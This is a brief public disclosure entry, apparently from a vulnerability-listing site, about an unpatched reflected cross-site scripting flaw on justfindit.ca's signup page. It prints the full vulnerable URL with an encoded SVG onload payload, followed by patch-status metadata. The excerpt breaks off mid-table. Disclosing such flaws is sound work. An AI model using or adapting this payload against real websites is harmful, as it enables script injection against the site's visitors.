justfindit.ca XSS vulnerability

Vulnerable URL: http://www.justfindit.ca/html/signup.php?msg=%20%22%3E%3Csvg%2Fonload%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 10009725 Google...